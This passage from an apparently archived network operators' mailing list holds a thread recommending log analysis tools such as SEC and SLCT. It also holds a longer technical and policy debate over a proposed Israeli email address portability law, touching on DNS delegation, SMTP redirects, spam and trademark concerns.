significant level of invested effort required to make use of this. http://simple-evcorr.sourceforge.net/ Below is a presentation about SEC. http://www.occam.com/sa/CentralizedLogging2009.pdf On Mon, Feb 22, 2010 at 2:15 PM, fedora fedora wrote: > Greetings, > > Anyone has good recommendations for an open-sourced log parsing and > analyzing application? It will be used to work with syslog-ng and other > general syslog and application logs. > > I have been looking at swatch and logwatch, but would like to find out if > there are other good choices, thanks > > FD > -- -- Darren Bolding -- -- darren at bolding.org -- From jtrooney at nexdlevel.com Mon Feb 22 16:34:46 2010 From: jtrooney at nexdlevel.com (Jeff Rooney) Date: Mon, 22 Feb 2010 16:34:46 -0600 Subject: log parsing tool? In-Reply-To: References: Message-ID: I personally like SEC (Simple Event Correlator), check out http://simple-evcorr.sourceforge.net/ Jeff Rooney jtrooney at nexdlevel.com On Mon, Feb 22, 2010 at 4:15 PM, fedora fedora wrote: > Greetings, > > Anyone has good recommendations for an open-sourced log parsing and > analyzing application? It will be used to work with syslog-ng and other > general syslog and application logs. > > I have been looking at swatch and logwatch, but would like to find out if > there are other good choices, thanks > > FD > From fedorafans at gmail.com Mon Feb 22 16:49:08 2010 From: fedorafans at gmail.com (fedora fedora) Date: Mon, 22 Feb 2010 16:49:08 -0600 Subject: log parsing tool? In-Reply-To: References: Message-ID: ah, never heard of SEC before and it really looks interesting, Thanks everyone for the great input! FD On Mon, Feb 22, 2010 at 4:34 PM, Jeff Rooney wrote: > I personally like SEC (Simple Event Correlator), check out > http://simple-evcorr.sourceforge.net/ > > Jeff Rooney > jtrooney at nexdlevel.com > > > > On Mon, Feb 22, 2010 at 4:15 PM, fedora fedora > wrote: > > Greetings, > > > > Anyone has good recommendations for an open-sourced log parsing and > > analyzing application? It will be used to work with syslog-ng and other > > general syslog and application logs. > > > > I have been looking at swatch and logwatch, but would like to find out if > > there are other good choices, thanks > > > > FD > > > From dwcarder at wisc.edu Mon Feb 22 18:14:41 2010 From: dwcarder at wisc.edu (Dale W. Carder) Date: Mon, 22 Feb 2010 18:14:41 -0600 Subject: log parsing tool? In-Reply-To: References: Message-ID: <1ADCCBD8-0CAF-4286-9220-C0C8BA62BB60@wisc.edu> On Feb 22, 2010, at 4:49 PM, fedora fedora wrote: > ah, never heard of SEC before and it really looks interesting, Take a look at SLCT, also by Risto Vaarandi: http://ristov.users.sourceforge.net/slct/ SLCT can parse huge amounts of logs very fast. We use it to crunch firewall logs and also to find ports that are flapping excessively. Dale From mysidia at gmail.com Mon Feb 22 19:35:10 2010 From: mysidia at gmail.com (James Hess) Date: Mon, 22 Feb 2010 19:35:10 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B117.3070101@utc.edu> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B117.3070101@utc.edu> Message-ID: <6eb799ab1002221735j3cc5b4e7sc3a20ca79e3ecb6c@mail.gmail.com> On Mon, Feb 22, 2010 at 10:30 AM, Jeff Kell wrote: > There's no way to do this without some underlying forwarding... ?and Forwarding SMTP traffic consumes major bandwidth resources (potentially), as the number of 'ports' eventually increases, and seems like a juicy target for many different types of potential abuses. There are major technical hurdles that should be considered, otherwise ISPs probably wouldn't care much to provide mailboxes, and instead: might simply recommend an overseas service (not subject to the port rules) for people who want e-mail. Or include "purchase of a domain name" in the price of getting e-mail service, it's just another "tax" required due to government regulations, ISP/telephone/cable subscribers are already used to those types of fees. When the end user purchases their own domain, it's up to them to transfer their own domain name and deal with all the technical issues that entails. Issues like: spam against forwarded addresses (impossible to reliably implement SPF and other sending MTA based protections). Possibility of the "porting mail server" being blacklisted (interfering with forwarding), having, sketchy connectivity, or other persistent issues, or low message size limits "No more than a 500mb attachment can be forwarded", that might have been the reason the user switched e-mail providers in the first place, so they could receive 30gb HD-DVD ISOs their friends were e-mailing them..... Resolving the destination address is what DNS is for, not what SMTP routing is for. Perhaps there is... Give every e-mail user a subdomain as in examplemailbox at examplemailbox.example.com To "port" an e-mail address, the receiving ISP then provides a domain name server for the donor ISP to publish as in... mailbox.example.com IN NS theirdns1.example2.com Use "IN NS" subdelegation to the user's new ISP. This requires the ISP to "plan for portability", by designating a subdomain for each user, and having DNS software that can handle (potentially) hundreds of thousands of permanent mailbox records. For authentication, to request a change, make it be proven that the request is coming from a legitimate authority of the host the "IN NS" record points to. Or else rewrite the SMTP specification to change how the SMTP server is selected for every single e-mail transaction (assuming the internet community actually thinks this is worthwhile).... Instead of merely performing a lookup of MX against just the host label (where MX exists), bring in Mailbox binding As in bring back RFC 883 MAILB: QNAME=mailbox at mx.example.com QTYPE=MAILB after a successful response from a QTYPE=MX query. If NXDOMAIN is returned from MAILB then proceed to contact the MX. But if MR responses arereceived from the MAILB query, then the sending MTA should switch to the recipient destination as directed. And repeat the MX and MAILB lookup process with the new destination... But the presence of a MAILB record must not imply that the e-mail address likely exists. The absence must not imply the e-mail address likely doesn't exist, either.... Otherwise spammers would be very happy. ISPs must wildcard MAILBs or have some very robust abuse-protections in DNS itself, or end-users would never want to use MAILB-based porting. -- -J From bonomi at mail.r-bonomi.com Mon Feb 22 20:27:36 2010 From: bonomi at mail.r-bonomi.com (Robert Bonomi) Date: Mon, 22 Feb 2010 20:27:36 -0600 (CST) Subject: Email Portability Approved by Knesset Committee Message-ID: <201002230227.o1N2RaDp021692@mail.r-bonomi.com> > From nanog-bounces+bonomi=mail.r-bonomi.com at nanog.org Mon Feb 22 09:10:55 2010 > Date: Mon, 22 Feb 2010 17:09:45 +0200 > From: Gadi Evron > To: NANOG Operators Group > Subject: Email Portability Approved by Knesset Committee > > The email portability bill has just been approved by the Knesset's > committee for legislation, sending it on its way for the full > legislation process of the Israeli parliament. > > While many users own a free email account, many in Israel still make use > of their ISP's email service. > > According to this proposed bill, when a client transfers to a different > ISP the email address will optionally be his to take along, "just like" > mobile providers do today with phone numbers. > > This new legislation makes little technological sense, and will > certainly be a mess to handle operationally as well as beurocratically, > but it certainly is interesting, and at least the notion is beautiful. Quick! Somebody propose a snail-mail portability bill. When a renter changes to a different landlord, his snail-mail address will be optionally his to take along, "just like" what is proposed for ISP clients. > > The proposed bill can be found here [Doc, Hebrew]: > http://my.ynet.co.il/pic/computers/22022010/mail.doc > > Linked to from this ynet (leading Israeli news site) story, here: > http://www.ynet.co.il/articles/0,7340,L-3852744,00.html > > I will update this as things evolve on my blog, here: > http://gadievron.blogspot.com/ > > Gadi. > From Valdis.Kletnieks at vt.edu Mon Feb 22 20:29:10 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 22 Feb 2010 21:29:10 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of "Mon, 22 Feb 2010 19:35:10 CST." <6eb799ab1002221735j3cc5b4e7sc3a20ca79e3ecb6c@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B117.3070101@utc.edu> <6eb799ab1002221735j3cc5b4e7sc3a20ca79e3ecb6c@mail.gmail.com> Message-ID: <9765.1266892150@localhost> On Mon, 22 Feb 2010 19:35:10 CST, James Hess said: > Resolving the destination address is what DNS is for, not what SMTP > routing is for. You think the situation is bad now, imagine if the X.400 ADMD= and PRMD= had caught on. ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From marka at isc.org Mon Feb 22 20:38:04 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 23 Feb 2010 13:38:04 +1100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of "Mon, 22 Feb 2010 20:27:36 MDT." <201002230227.o1N2RaDp021692@mail.r-bonomi.com> References: <201002230227.o1N2RaDp021692@mail.r-bonomi.com> Message-ID: <201002230238.o1N2c4DZ070908@drugs.dv.isc.org> In message <201002230227.o1N2RaDp021692 at mail.r-bonomi.com>, Robert Bonomi write s: > Quick! Somebody propose a snail-mail portability bill. When a renter > changes to a different landlord, his snail-mail address will be optionally > his to take along, "just like" what is proposed for ISP clients. You can pay for this redirection service if you want it. Usually it is time limited and often not fully implemented. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From gordslater at ieee.org Mon Feb 22 21:18:10 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 23 Feb 2010 03:18:10 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <201002230238.o1N2c4DZ070908@drugs.dv.isc.org> References: <201002230227.o1N2RaDp021692@mail.r-bonomi.com> <201002230238.o1N2c4DZ070908@drugs.dv.isc.org> Message-ID: <1266895090.24109.16.camel@ub-g-d2> On Tue, 2010-02-23 at 13:38 +1100, Mark Andrews wrote: > In message <201002230227.o1N2RaDp021692 at mail.r-bonomi.com>, Robert Bonomi write > s: > > Quick! Somebody propose a snail-mail portability bill. When a renter > > changes to a different landlord, his snail-mail address will be optionally > > his to take along, "just like" what is proposed for ISP clients. > > You can pay for this redirection service if you want it. Usually > it is time limited and often not fully implemented. But.... with snail-mail it usually ?just works?, uses existing proven technology, provides a little extra revenue for the carriers, etc etc etc I just don't see any of the above happening with _this_ proposal. Hmm, maybe 'proposal' isn't the correct word for it - by a long way. I have a feeling it's going to be implemented in the following manner: ./great_idea.sh | bad_plan >> /dev/null Hey - maybe they should submit an RFC? :) next up: State of Israel vs. SORBS et al. ding-ding! Maybe I'm too pessimistic? Gord From johnl at iecc.com Mon Feb 22 22:38:10 2010 From: johnl at iecc.com (John Levine) Date: 23 Feb 2010 04:38:10 -0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Message-ID: <20100223043810.1846.qmail@simone.iecc.com> In article you write: >smb at cs.columbia.edu: >> I am seriously suggesting that a redirect mechanism -- perhaps the >email equivalent of HTPP's 301/302 -- would be worth considering. > >We already have SMTP's 221 and 521 response codes for this. But because the >response text is free-form there's no way to reliably parse out the new address. Assuming you mean 251 and 551, the new address is in making it straightforward to parse. There's the minor detail that nobody has, as far as I can tell, ever implemented either, but the spec's there if you want it. R's, John From LarrySheldon at cox.net Mon Feb 22 22:42:17 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 22:42:17 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223043810.1846.qmail@simone.iecc.com> References: <20100223043810.1846.qmail@simone.iecc.com> Message-ID: <4B835CA9.10004@cox.net> On 2/22/2010 10:38 PM, John Levine wrote: > In article you write: >> smb at cs.columbia.edu: >>> I am seriously suggesting that a redirect mechanism -- perhaps the >> email equivalent of HTPP's 301/302 -- would be worth considering. >> >> We already have SMTP's 221 and 521 response codes for this. But because the >> response text is free-form there's no way to reliably parse out the new address. > > Assuming you mean 251 and 551, the new address is in making > it straightforward to parse. > > There's the minor detail that nobody has, as far as I can tell, ever > implemented either, but the spec's there if you want it. When Somebody calls one of my "portable" telephone numbers, they don't get a message telling them they have to call some other number. The get call progress tones. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From johnl at iecc.com Mon Feb 22 22:42:22 2010 From: johnl at iecc.com (John Levine) Date: 23 Feb 2010 04:42:22 -0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <19330.52794.546106.775@world.std.com> Message-ID: <20100223044222.1870.qmail@simone.iecc.com> >My initial reaction: Does the law in any way imply this mail address >has to be provided for free? If you had spent 10 seconds with Google Translate on the URL in Gadi's message, you'd already know. R's, John From johnl at iecc.com Mon Feb 22 22:47:51 2010 From: johnl at iecc.com (John Levine) Date: 23 Feb 2010 04:47:51 -0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Message-ID: <20100223044751.1913.qmail@simone.iecc.com> >Unfortunately the links cited are in Hebrew so I'm only going on Gadi's >report here. Google Translate is your friend. Yes, even on MS Word documents written in Hebrew. R's, John From dhc2 at dcrocker.net Mon Feb 22 23:20:01 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Mon, 22 Feb 2010 21:20:01 -0800 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B835CA9.10004@cox.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> Message-ID: <4B836581.9080108@dcrocker.net> On 2/22/2010 8:42 PM, Larry Sheldon wrote: > When Somebody calls one of my "portable" telephone numbers, they don't > get a message telling them they have to call some other number. The get > call progress tones. You are confusing what is presented to the end-user with what might be going on within the infrastructure service. Call progress tones are the former and their primary goal is to keep the user happy, providing very constrained information. Especially for mobile phones, there is often all sorts of forwarding signallying going on while you hear to tones. In general, a core problem with the Knesset law is that it presumes something that is viable for the phone infrastructure is equally - or at least tolerably - viable in the email infrastructure. Unfortunately, the details of the two are massively different in terms of architecture, service model, cost structures and operational skills. d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From gordslater at ieee.org Tue Feb 23 00:06:04 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 23 Feb 2010 06:06:04 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B836581.9080108@dcrocker.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> Message-ID: <1266905164.24109.59.camel@ub-g-d2> On Mon, 2010-02-22 at 21:20 -0800, Dave CROCKER wrote: > In general, a core problem with the Knesset law is that it presumes > something > that is viable for the phone infrastructure is equally - or at least > tolerably - > viable in the email infrastructure. Unfortunately, the details of the > two are > massively different in terms of architecture, service model, cost > structures and > operational skills. Good point Dave; for the mobile phone industry, number portability is an endpoint thing - no harder to change than a field in a billing/accounting database (the SIM#, keeping it very simple here), for email its a WHOLE lot more. eg: would you want to start accepting huge email flows from other ASs outside your own? Even from your country's most incompetent and fat-fingered ASs? All at once, not just your normal peers? I can smell spam at huge volumes if it isn't done carefully. Any solution must be highly scale _very_ well. Potentially, globally. >eek< Restricting the argument to a few hundred lightly-used webmail-only accounts, there's very little problem. What you need is reciprocal agreements to keep web accounts active after a user migrates, or even good-old-fashioned forwarding. Maybe they politicians just noticed forwarding in their MS Outlook one day and said "Hey, this solves the a problem easily". If only..... But we're talking about )_millions_ of people here. I don't know the ISP churn rate there for domestic users, but my head hertz already thinking of the sheer volume and frequency [< Hz pun] of changes. Or, will people end up keeping 30 email accounts live, adding a new one at each change, loopholing the system every time? Even the paperwork for this could be hard to implement if they're not careful. The more I think about this, the more spam I smell cooking. Egg, beans chips and Spam. Spam Spam egg beans and spam, etc Now, it's > 05:30hrs here - as usual, I'm getting tired and my brain is running (somewhat) amok with the thought of crazy laws to come in the years ahead, but imagine an extreme scenario where we have to invent a global DNS-like system just to find a given international email account's current endpoint for delivery AND acceptance, all compliant with existing mail delivery. Or Planet-wide LDAP+RADIUS, in realtime, just for 95>99% spam flows? What are they going to "invent" next? I know I'm seeing a nightmare scenario, but politicians have very little idea of the the technology, at all. Scarily, legislation would hold ISPs to it, or pay the price in fines/surcharges/whatever. So it all does need hard engineering consideration, I think, rather than just a "it'll never work" attitude that I'm sorely tempted to take for now. I'm worrying deeper into this than necessary, I think; I'm thinking not so much about this _current_ legislation, (it has no geographical effect to me) but of copycat implementations worldwide getting more and more absurd as politicians add local spin and conditions to it. Realistically, I'm not sure that when I wake up after 8 hours sleep I'll feel better about it at all. nite, Gord PS - just though of a relevant .sig for this topic, below -- "Its easy to spout, much harder to route" From gordslater at ieee.org Tue Feb 23 00:12:37 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 23 Feb 2010 06:12:37 +0000 Subject: log parsing tool? In-Reply-To: <1ADCCBD8-0CAF-4286-9220-C0C8BA62BB60@wisc.edu> References: <1ADCCBD8-0CAF-4286-9220-C0C8BA62BB60@wisc.edu> Message-ID: <1266905557.24109.62.camel@ub-g-d2> On Mon, 2010-02-22 at 18:14 -0600, Dale W. Carder wrote: > Take a look at SLCT, also by Risto Vaarandi: > > http://ristov.users.sourceforge.net/slct/ > > SLCT can parse huge amounts of logs very fast. We use it to > crunch firewall logs and also to find ports that are flapping > excessively. +1, SLCT definitely finds the needles in haystacks of huge syslog files Gord -- best viewed in mailx From smb at cs.columbia.edu Tue Feb 23 00:25:42 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Tue, 23 Feb 2010 01:25:42 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <1266905164.24109.59.camel@ub-g-d2> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> Message-ID: On Feb 23, 2010, at 1:06 AM, gordon b slater wrote: > > On Mon, 2010-02-22 at 21:20 -0800, Dave CROCKER wrote: >> In general, a core problem with the Knesset law is that it presumes >> something >> that is viable for the phone infrastructure is equally - or at least >> tolerably - >> viable in the email infrastructure. Unfortunately, the details of the >> two are >> massively different in terms of architecture, service model, cost >> structures and >> operational skills. > > Good point Dave; for the mobile phone industry, number portability is an > endpoint thing - no harder to change than a field in a > billing/accounting database (the SIM#, keeping it very simple here), for > email its a WHOLE lot more. > And who runs this database? Local number portability requires a new database, one that didn't exist before, It's run by a neutral party and maps any phone number to a carrier and endpoint identifier. (In the US, that database is currently run by Neustar -- see http://www.neustar.biz/solutions/solutions-for/number-administration) Figuring out how such a solution would work with email is left as an exercise for the reader. --Steve Bellovin, http://www.cs.columbia.edu/~smb From jim at reptiles.org Tue Feb 23 00:47:28 2010 From: jim at reptiles.org (Jim Mercer) Date: Tue, 23 Feb 2010 01:47:28 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <20100223064728.GA22206@reptiles.org> On Mon, Feb 22, 2010 at 11:08:54AM -0500, James Jones wrote: > On Mon, Feb 22, 2010 at 10:09 AM, Gadi Evron wrote: > > According to this proposed bill, when a client transfers to a different ISP > > the email address will optionally be his to take along, "just like" mobile > > providers do today with phone numbers. > > Why does this seem like a really bad idea? actually, i think its a great idea. now the ISPs will have an actual interest in shutting down and eliminating SPAM, as it would make little economic sense to be forwarding huge amounts of email around when the bulk of it is just gonna be discarded anyways. ( i'm half joking ) -- Jim Mercer jim at reptiles.org +92 336 520-4504 "I'm Prime Minister of Canada, I live here and I'm going to take a leak." - Lester Pearson in 1967, during a meeting between himself and President Lyndon Johnson, whose Secret Service detail had taken over Pearson's cottage retreat. At one point, a Johnson guard asked Pearson, "Who are you and where are you going?" From bzs at world.std.com Tue Feb 23 00:55:07 2010 From: bzs at world.std.com (Barry Shein) Date: Tue, 23 Feb 2010 01:55:07 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223044222.1870.qmail@simone.iecc.com> References: <19330.52794.546106.775@world.std.com> <20100223044222.1870.qmail@simone.iecc.com> Message-ID: <19331.31691.945832.822624@world.std.com> > >My initial reaction: Does the law in any way imply this mail address > >has to be provided for free? > > If you had spent 10 seconds with Google Translate on the URL in Gadi's > message, you'd already know. (gosh that only took 12 hours to suggest) Obviously we're discussing a legal and regulatory system most of us here are unfamiliar with, there may be other considerations. But in the USofA a law like this would raise some serious trademark issues. When you manage a valuable trademark your lawyer lectures you about how a trademark has to represent a particular product of a particular quality or else a court can deem it invalid or even fraudulent. There are only two ways this sort of law is likely to be implemented: a) The original ISP continues to provide email for that address. b) Some other ISP provides that service. I suppose a third way, via a third party, is possible but I don't think that defuses the trademark issue. The exact mechanics are a different discussion. Since the first ISP is no longer being paid the practical solution seems to be (b), the original ISP cooperates and hands over service to the new provider somehow. But how can the original ISP be assured that email going out under what appears to be their mark (consider xxx at AOL.COM or xxx at MSN.COM) represents their product in any way the law requires? It would be a conflict and a potential dilution of one's mark. Particularly, as others have suggested, if that product implies availability, spam filtering, support, storage, recovery in the event of lost storage, TOS, etc. In contrast, a phone number has no such trademark implications for the provider, one generally doesn't say "oh, 555-555-1234, an AT&T phone number!" Perhaps it's possible to know this, but it's not common knowledge, it doesn't generally represent the public's view of the AT&T mark. I don't think the law would be workable in the US. I'd be surprised if the law doesn't run into similar problems in Israel. -- -Barry Shein The World | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada Software Tool & Die | Public Access Internet | SINCE 1989 *oo* From mark at streamservice.nl Tue Feb 23 01:35:58 2010 From: mark at streamservice.nl (Mark Scholten) Date: Tue, 23 Feb 2010 08:35:58 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <19331.31691.945832.822624@world.std.com> References: <19330.52794.546106.775@world.std.com> <20100223044222.1870.qmail@simone.iecc.com> <19331.31691.945832.822624@world.std.com> Message-ID: <007501cab45a$d7b1a3c0$8714eb40$@nl> > -----Original Message----- > From: Barry Shein [mailto:bzs at world.std.com] > Sent: Tuesday, February 23, 2010 7:55 AM > To: John Levine > Cc: nanog at nanog.org > Subject: Re: Email Portability Approved by Knesset Committee > > > > >My initial reaction: Does the law in any way imply this mail > address > > >has to be provided for free? > > > > If you had spent 10 seconds with Google Translate on the URL in > Gadi's > > message, you'd already know. > > (gosh that only took 12 hours to suggest) > > Obviously we're discussing a legal and regulatory system most of us > here are unfamiliar with, there may be other considerations. > > But in the USofA a law like this would raise some serious trademark > issues. > > When you manage a valuable trademark your lawyer lectures you about > how a trademark has to represent a particular product of a particular > quality or else a court can deem it invalid or even fraudulent. > > There are only two ways this sort of law is likely to be implemented: > > a) The original ISP continues to provide email for that address. > > b) Some other ISP provides that service. > > I suppose a third way, via a third party, is possible but I don't > think that defuses the trademark issue. > > The exact mechanics are a different discussion. > > Since the first ISP is no longer being paid the practical solution > seems to be (b), the original ISP cooperates and hands over service to > the new provider somehow. > > But how can the original ISP be assured that email going out under > what appears to be their mark (consider xxx at AOL.COM or xxx at MSN.COM) > represents their product in any way the law requires? > And now think about it with SPF records (and checks for SPF records). All outgoing mail should also go via the OLD provider. Including domainnames (for email) would be the solution for this. In other cases only (a) seems to be available. Maybe a payment between the old and new provider is the solution for it. How to do this if the old provider is stopping? It is a realistic possibility that they stop. > It would be a conflict and a potential dilution of one's mark. > > Particularly, as others have suggested, if that product implies > availability, spam filtering, support, storage, recovery in the event > of lost storage, TOS, etc. Just mention that this law is above the other law regarding Trademarks and you will need to follow this law. What if a domain get listed because a new provider doesn't use a spam filter on outgoing messages, how to get delisted for the old provider? Some lists might be based on the from header in emails. > > In contrast, a phone number has no such trademark implications for the > provider, one generally doesn't say "oh, 555-555-1234, an AT&T phone > number!" Perhaps it's possible to know this, but it's not common > knowledge, it doesn't generally represent the public's view of the > AT&T mark. > > I don't think the law would be workable in the US. > > I'd be surprised if the law doesn't run into similar problems in > Israel. > Regards, Mark From bygg at cafax.se Tue Feb 23 09:40:00 2010 From: bygg at cafax.se (Johnny Eriksson) Date: Tue, 23 Feb 2010 9:40:00 WET Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of Mon, 22 Feb 2010 20:27:36 -0600 (CST) Message-ID: Robert Bonomi wrote: > Quick! Somebody propose a snail-mail portability bill. When a renter > changes to a different landlord, his snail-mail address will be optionally > his to take along, "just like" what is proposed for ISP clients. No, a complete street address portability system. Assuming that I live on 1337 Main Street, I should be able to keep that address even if I move to a different part of town, and I should be able to use it for all purposes, including when I give my home address to a cab driver, and it should just work. Why can't we get some reasonable legislation like that enacted? --Johnny From ge at linuxbox.org Tue Feb 23 04:10:33 2010 From: ge at linuxbox.org (Gadi Evron) Date: Tue, 23 Feb 2010 12:10:33 +0200 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> Message-ID: <4B83A999.4020006@linuxbox.org> On 2/22/10 7:28 PM, Joe Abley wrote: > > On 2010-02-22, at 10:09, Gadi Evron wrote: > >> The email portability bill has just been approved by the Knesset's committee for legislation, sending it on its way for the full legislation process of the Israeli parliament. >> >> While many users own a free email account, many in Israel still make use of their ISP's email service. > > Just out of interest, are those ISP-tied e-mail addresses always run by the ISP, or are they occasionally outsourced in the manner of Rogers' (Canada) or BT's (UK) respective deals with Yahoo! (US)? > > It'd be an interesting twist if contracts between e-mail providers outside Israel and ISPs inside suddenly made this requirement for e-mail address portability leak beyond Israel's borders. It's an interesting question, I'm afraid I don't have the answer. Gadi. > > > Joe > > -- Gadi Evron, ge at linuxbox.org. Blog: http://gevron.livejournal.com/ From darcy at druid.net Tue Feb 23 04:39:53 2010 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Tue, 23 Feb 2010 05:39:53 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> Message-ID: <20100223053953.b65e2d7d.darcy@druid.net> On Tue, 23 Feb 2010 01:25:42 -0500 Steven Bellovin wrote: > Figuring out how such a solution would work with email is left as an exercise for the reader. OK, let me give it a shot. How about if we allow anyone to buy a domain name of their own and then hire someone (e.g. their ISP) to manage email for it. Now when they want to change ISPs they just carry their domain with them to the new ISP. That way the only people incurring costs are the ISPs managing the domains and the central domain name registrars, two groups who are already being paid by the end user to provide the service. You're using an email address in your ISP's domain? OK, keep paying for it and forward it using the control panel facility of your ISP. If your free account doesn't have that feature then maybe you have to ask yourself what you expect for free. Maybe politicians should just keep their nose out of things that they can't understand. Email addresses aren't phone numbers. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. From cian.brennan at redbrick.dcu.ie Tue Feb 23 04:43:23 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Tue, 23 Feb 2010 10:43:23 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223053953.b65e2d7d.darcy@druid.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> Message-ID: <20100223104323.GA6189@minerva.redbrick.dcu.ie> On Tue, Feb 23, 2010 at 05:39:53AM -0500, D'Arcy J.M. Cain wrote: > On Tue, 23 Feb 2010 01:25:42 -0500 > Steven Bellovin wrote: > > Figuring out how such a solution would work with email is left as an exercise for the reader. > > OK, let me give it a shot. > > How about if we allow anyone to buy a domain name of their own and then > hire someone (e.g. their ISP) to manage email for it. Now when they > want to change ISPs they just carry their domain with them to the new > ISP. That way the only people incurring costs are the ISPs managing > the domains and the central domain name registrars, two groups who are > already being paid by the end user to provide the service. > > You're using an email address in your ISP's domain? OK, keep paying > for it and forward it using the control panel facility of your ISP. If > your free account doesn't have that feature then maybe you have to ask > yourself what you expect for free. > > Maybe politicians should just keep their nose out of things that they > can't understand. Email addresses aren't phone numbers. > As has been pointed out several times, they can easily be pretty close. Simply force them to send using the outgoing server of their new ISP, but allow them to still access their mailbox (which is really the only important bit the ISP hosts) over pop/imap/whatever. It's not free, but given that the average ISP seems to give you only a few MB or space, it's hardly going to break the bank. > -- > D'Arcy J.M. Cain | Democracy is three wolves > http://www.druid.net/darcy/ | and a sheep voting on > +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. > > -- -- From leigh.porter at ukbroadband.com Tue Feb 23 04:53:47 2010 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Tue, 23 Feb 2010 10:53:47 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: Message-ID: <4B83B3BB.3060306@ukbroadband.com> On 23/02/10 09:40, Johnny Eriksson wrote: > Robert Bonomi wrote: > > >> Quick! Somebody propose a snail-mail portability bill. When a renter >> changes to a different landlord, his snail-mail address will be optionally >> his to take along, "just like" what is proposed for ISP clients. >> > No, a complete street address portability system. > > Assuming that I live on 1337 Main Street, I should be able to keep that > address even if I move to a different part of town, and I should be able > to use it for all purposes, including when I give my home address to a > cab driver, and it should just work. Why can't we get some reasonable > legislation like that enacted? > > --Johnny > Just wait till customers start wanting to take their IP address with them when they move... When that happens, I hope there will be a new generation of suckers to fix it. -- Leigh Porter From mansaxel at besserwisser.org Tue Feb 23 05:01:08 2010 From: mansaxel at besserwisser.org (Mans Nilsson) Date: Tue, 23 Feb 2010 12:01:08 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B83B3BB.3060306@ukbroadband.com> References: <4B83B3BB.3060306@ukbroadband.com> Message-ID: <20100223110108.GE4403@besserwisser.org> > Just wait till customers start wanting to take their IP address with > them when they move... > > When that happens, I hope there will be a new generation of suckers to > fix it. There is PI space, you know ;) -- M?ns Nilsson primary/secondary/besserwisser/machina MN-1334-RIPE +46 705 989668 This PORCUPINE knows his ZIPCODE ... And he has "VISA"!! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available URL: From brunner at nic-naa.net Tue Feb 23 05:22:12 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Tue, 23 Feb 2010 06:22:12 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> 